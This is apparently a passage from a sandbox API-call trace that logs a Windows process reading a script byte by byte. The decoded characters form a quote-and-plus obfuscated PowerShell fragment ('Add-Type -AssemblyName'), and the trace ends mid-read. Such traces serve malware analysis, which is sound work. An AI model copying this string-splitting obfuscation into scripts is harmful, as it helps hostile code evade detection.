	[0058.658] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.658] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e3cc, cchWideChar=1 | out: lpWideCharStr="'") returned 1
	[0058.658] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.658] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.658] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.658] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e3ce, cchWideChar=1 | out: lpWideCharStr="+") returned 1
	[0058.658] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.658] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.658] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.659] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e3d0, cchWideChar=1 | out: lpWideCharStr="'") returned 1
	[0058.659] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.659] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.659] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.659] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e3d2, cchWideChar=1 | out: lpWideCharStr="A") returned 1
	[0058.659] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.659] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.659] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.659] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e3d4, cchWideChar=1 | out: lpWideCharStr="'") returned 1
	[0058.659] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.659] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.659] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.659] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e3d6, cchWideChar=1 | out: lpWideCharStr="+") returned 1
	[0058.659] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.659] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.659] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.659] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e3d8, cchWideChar=1 | out: lpWideCharStr="'") returned 1
	[0058.659] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.659] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.659] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.659] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e3da, cchWideChar=1 | out: lpWideCharStr="d") returned 1
	[0058.659] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.659] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.659] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.659] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e3dc, cchWideChar=1 | out: lpWideCharStr="d") returned 1
	[0058.659] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.659] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.667] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.667] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e3de, cchWideChar=1 | out: lpWideCharStr="-") returned 1
	[0058.667] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.667] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.667] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.667] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e3e0, cchWideChar=1 | out: lpWideCharStr="T") returned 1
	[0058.667] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.667] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.667] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.667] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e3e2, cchWideChar=1 | out: lpWideCharStr="'") returned 1
	[0058.667] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.667] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.667] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.667] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e3e4, cchWideChar=1 | out: lpWideCharStr="+") returned 1
	[0058.667] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.668] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.668] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.668] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e3e6, cchWideChar=1 | out: lpWideCharStr="'") returned 1
	[0058.668] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.668] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.668] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.668] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e3e8, cchWideChar=1 | out: lpWideCharStr="y") returned 1
	[0058.668] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.668] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.668] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.668] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e3ea, cchWideChar=1 | out: lpWideCharStr="p") returned 1
	[0058.668] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.668] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.668] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.668] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e3ec, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0058.668] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.668] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.668] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.668] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e3ee, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0058.668] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.668] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.668] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.668] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e3f0, cchWideChar=1 | out: lpWideCharStr="-") returned 1
	[0058.668] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.668] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.668] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.668] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e3f2, cchWideChar=1 | out: lpWideCharStr="A") returned 1
	[0058.668] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.668] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.669] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.669] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e3f4, cchWideChar=1 | out: lpWideCharStr="s") returned 1
	[0058.669] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.669] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.669] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.669] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e3f6, cchWideChar=1 | out: lpWideCharStr="'") returned 1
	[0058.669] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.669] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.669] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.669] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e3f8, cchWideChar=1 | out: lpWideCharStr="+") returned 1
	[0058.669] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.669] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.669] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.669] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e3fa, cchWideChar=1 | out: lpWideCharStr="'") returned 1
	[0058.669] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.669] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.669] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.669] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e3fc, cchWideChar=1 | out: lpWideCharStr="s") returned 1
	[0058.669] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.669] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.669] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.669] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e3fe, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0058.669] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.669] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.669] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.669] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e400, cchWideChar=1 | out: lpWideCharStr="m") returned 1
	[0058.669] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.669] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.669] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.670] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e402, cchWideChar=1 | out: lpWideCharStr="b") returned 1
	[0058.670] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.670] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.670] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.670] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e404, cchWideChar=1 | out: lpWideCharStr="l") returned 1
	[0058.670] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.670] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.670] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.670] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e406, cchWideChar=1 | out: lpWideCharStr="y") returned 1
	[0058.670] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.670] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.670] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.670] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e408, cchWideChar=1 | out: lpWideCharStr="'") returned 1
	[0058.670] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.670] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.670] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.670] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e40a, cchWideChar=1 | out: lpWideCharStr="+") returned 1
	[0058.670] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.670] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.670] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.670] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e40c, cchWideChar=1 | out: lpWideCharStr="'") returned 1
	[0058.670] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.670] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.670] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.670] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e40e, cchWideChar=1 | out: lpWideCharStr="N") returned 1
	[0058.670] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.670] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.670] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.670] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e410, cchWideChar=1 | out: lpWideCharStr="a") returned 1
	[0058.671] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.671] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.671] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.671] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e412, cchWideChar=1 | out: lpWideCharStr="m") returned 1
	[0058.671] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.671] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.671] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.671] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e414, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0058.671] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.671] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.671] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.671] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e416, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0058.671] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.671] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.671] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
